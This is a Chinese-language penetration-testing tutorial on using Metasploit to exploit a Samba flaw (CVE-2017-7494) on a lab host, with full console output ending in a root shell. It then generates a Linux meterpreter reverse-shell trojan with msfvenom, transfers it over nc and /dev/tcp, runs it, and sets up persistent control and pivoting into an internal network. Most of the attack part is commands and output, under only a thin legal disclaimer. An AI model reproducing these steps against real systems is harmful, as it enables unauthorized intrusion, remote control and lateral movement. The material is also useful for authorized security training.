内网渗透 Metasploit(MSF)基础使用
免责申明
以下内容仅供学习使用，非法使用造成的问题由使用人承担
攻击思路
漏洞探测（信息收集） <- fsacn,namp
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漏洞利用 <- 工具（msf等）
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获取服务器权限
MSF 使用
Metasploit就是一个安全漏洞检测工具。它的全称叫做The Metasploit Framework，简称MSF。
MSF主要用于攻击非web端口
1、数据库
2、协议类型的端口
使用流程
Kali控制台 输入 msfconsole 进入
1、搜索并确认模块（search，use）
search
如smb漏洞：执行 search samba 搜索相关漏洞
msf6 > search samba
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 excellent Yes Citrix Access Gateway Command Execution
1 exploit/windows/license/calicclnt_getconfig 2005-03-02 average No Computer Associates License Client GETCONFIG Overflow
2 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution
3 exploit/windows/smb/group_policy_startup 2015-01-26 manual No Group Policy Script Execution From Shared Resource
4 post/linux/gather/enum_configs normal No Linux Gather Configurations
5 auxiliary/scanner/rsync/modules_list normal No List Rsync Modules
6 exploit/windows/fileformat/ms14_060_sandworm 2014-10-14 excellent No MS14-060 Microsoft Windows OLE Package Manager Code Execution
7 exploit/unix/http/quest_kace_systems_management_rce 2018-05-31 excellent Yes Quest KACE Systems Management Command Injection
8 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
9 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
10 exploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Yes Samba SetInformationPolicy AuditEventsInfo Heap Overflow
11 auxiliary/admin/smb/samba_symlink_traversal normal No Samba Symlink Directory Traversal
12 auxiliary/scanner/smb/smb_uninit_cred normal Yes Samba _netr_ServerPasswordSet Uninitialized Credential State
13 exploit/linux/samba/chain_reply 2010-06-16 good No Samba chain_reply Memory Corruption (Linux x86)
14 exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load
15 auxiliary/dos/samba/lsa_addprivs_heap normal No Samba lsa_io_privilege_set Heap Overflow
16 auxiliary/dos/samba/lsa_transnames_heap normal No Samba lsa_io_trans_names Heap Overflow
17 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow
18 exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
19 exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
20 auxiliary/dos/samba/read_nttrans_ea_list normal No Samba read_nttrans_ea_list Integer Overflow
21 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86)
22 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
23 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
24 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)
25 exploit/windows/http/sambar6_search_results 2003-06-21 normal Yes Sambar 6 Search Results Buffer Overflow
其中 exploit 为漏洞利用，auxiliary 为漏洞发现
info
使用 info 命令可以查看漏洞详情，例如
msf6 > info exploit/linux/samba/is_known_pipename
Name: Samba is_known_pipename() Arbitrary Module Load
Module: exploit/linux/samba/is_known_pipename
Platform: Linux
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-03-24
Provided by:
steelo <knownsteelo@gmail.com>
hdm <x@hdm.io>
bcoles <bcoles@gmail.com>
Available targets:
Id Name
-- ----
=> 0 Automatic (Interact)
1 Automatic (Command)
2 Linux x86
3 Linux x86_64
4 Linux ARM (LE)
5 Linux ARM64
6 Linux MIPS
7 Linux MIPSLE
8 Linux MIPS64
9 Linux MIPS64LE
10 Linux PPC
11 Linux PPC64
12 Linux PPC64 (LE)
13 Linux SPARC
14 Linux SPARC64
15 Linux s390x
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMB_FOLDER no The directory to use within the writeable SMB share
SMB_SHARE_NAME no The name of the SMB share containing a writeable directory
Payload information:
Space: 9000
Description:
This module triggers an arbitrary shared library load vulnerability
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
requires valid credentials, a writeable folder in an accessible share,
and knowledge of the server-side path of the writeable folder. In
some cases, anonymous access combined with common filesystem locations
can be used to automatically exploit this vulnerability.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-7494
https://www.samba.org/samba/security/CVE-2017-7494.html
View the full module info with the info -d command.
漏洞利用，use
例如使用 smb漏洞，执行 use exploit/linux/samba/is_known_pipename 会进入一个漏洞终端
msf6 > use exploit/linux/samba/is_known_pipename
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(linux/samba/is_known_pipename) >
2、设置模块参数（show，options，set）
show options 查看模块设置
使用 show options 查看模块设置
msf6 exploit(linux/samba/is_known_pipename) > show options
# 模块设置
Module options (exploit/linux/samba/is_known_pipename):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
# 目标 yes 表示必填项
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
# 攻击端口号
RPORT 445 yes The SMB service port (TCP)
SMB_FOLDER no The directory to use within the writeable SMB share
SMB_SHARE_NAME no The name of the SMB share containing a writeable directory
# 攻击载荷设置
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
# 攻击目标设置
Exploit target:
Id Name
-- ----
0 Automatic (Interact)
View the full module info with the info, or info -d command.
设置模块
# 设置靶机IP
set RHOSTS 10.3.4.126
# smb模块全局设置
set SMB::AlwaysEncrypt false
set SMB::ProtocolVersion 1
3、运行模块（run）
设置完成后执行 run
msf6 exploit(linux/samba/is_known_pipename) > run
[*] 10.3.4.126:445 - Using location \\10.3.4.126\share\ for the path
[*] 10.3.4.126:445 - Retrieving the remote path of the share 'share'
[*] 10.3.4.126:445 - Share 'share' has server-side path '/tmp/
[*] 10.3.4.126:445 - Uploaded payload to \\10.3.4.126\share\CIkZEMwu.so
[*] 10.3.4.126:445 - Loading the payload from server-side path /tmp/CIkZEMwu.so using \\PIPE\/tmp/CIkZEMwu.so...
[-] 10.3.4.126:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 10.3.4.126:445 - Loading the payload from server-side path /tmp/CIkZEMwu.so using /tmp/CIkZEMwu.so...
[+] 10.3.4.126:445 - Probe response indicates the interactive payload was loaded...
[*] Found shell.
[*] Command shell session 1 opened (192.168.198.226:37289 -> 10.3.4.126:445) at 2024-05-16 21:35:34 -0400
出现
[*] Command shell session 1 opened (192.168.198.226:37289 -> 10.3.4.126:445) at 2024-05-16 21:35:34 -0400
表示攻击成功
输入 bash -i 进入终端
bash -i
bash: cannot set terminal process group (79): Inappropriate ioctl for device
bash: no job control in this shell
root@46d29b327da6:/# ls
MSF 木马生成模块 Msfvenom
msfvenom
木马制作
Linux执行如下代码
#制作linux反弹shell木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf
IP填写本机IP
PORT为本机监听端口
#制作linux反弹shell木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.198.226 LPORT=4444 -f elf > shell.elf
监听配置
msfvenom生成的远程控制木马需要和MSF中的exploit/multi/handler模块配合使用
# 使用 exploit/multi/handler 模块
use exploit/multi/handler
# 设置模块
set payload linux/x64/meterpreter/reverse_tcp
执行结果如下
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
# 本地监听地址，一般情况下0.0.0.0
LHOST yes The listen address (an interface may be specified)
# 本地监听端口
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
开启监听
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:4444
上传木马
由于服务器没有wget与curl命令，我们需要使用cat命令上传恶意木马
首先使用nc命令，监听999端口
nc -lvp 999 < shell.elf
``
之后在之前获取到的 `bash` 中执行以下命令
```bash
cat < /dev/tcp/<nc监听的IP>/999 > shell.elf
图片
上传成功的效果如图上
然后需要在右边窗口停止 nc 运行
然后通过 ls -l 命令比对文件大小，确保文件上传完整
执行
赋予 shell.elf 执行权限并运行
chmod +x ./shell.elf;./shell.elf
之后即可在 msfvenom 中看到 shell.elf 的请求
获取 meterpreter
meterpreter 作用
发现靶机后，存在内网情况下，该靶机有机会成为跳板机，需要升级终端
meterpreter 可以使用 background 将终端挂起
通过 sessions 1 又能进入控制
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter >
常用命令
getuid：获取当前用户
getsystem：自动化提权，windows专享
文件上传：/root/Desktop/tools/fscan 源文件位置， 服务器位置 /fscan
upload /root/Desktop/tools/fscan /fscan
例一：SMB漏洞
通过namp，fscan等工具扫描端口
1、发现SMB服务器，第一步尝试直接访问
Windows直接通过文件管理器访问
Linux 可以直接用 smbclient
基本命令
# 列出共享文件夹
smbclient -L 10.3.4.126
# 进入共享文件夹
smbclient //10.3.4.126/share
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Aug 23 10:48:10 2022
.. D 0 Thu May 16 21:07:57 2024
ydntgxhD.so A 8400 Tue Aug 23 10:47:53 2022
WIJdzKgG.so A 8400 Tue Aug 23 10:48:10 2022
# 下载使用get
get ydntgxhD.so
2、根据服务版本寻找 N day 漏洞
3、之后流程见上面使用流程
4、攻击成功后，一般需要使用该服务器作为跳板机进入内网
执行上传木马（MSF木马）进行持久化控制
-
利用网络命令上传 wget，curl，cat
-
利用特殊工具 如：webshell 管理工具，meterpreter，stowaway
版权
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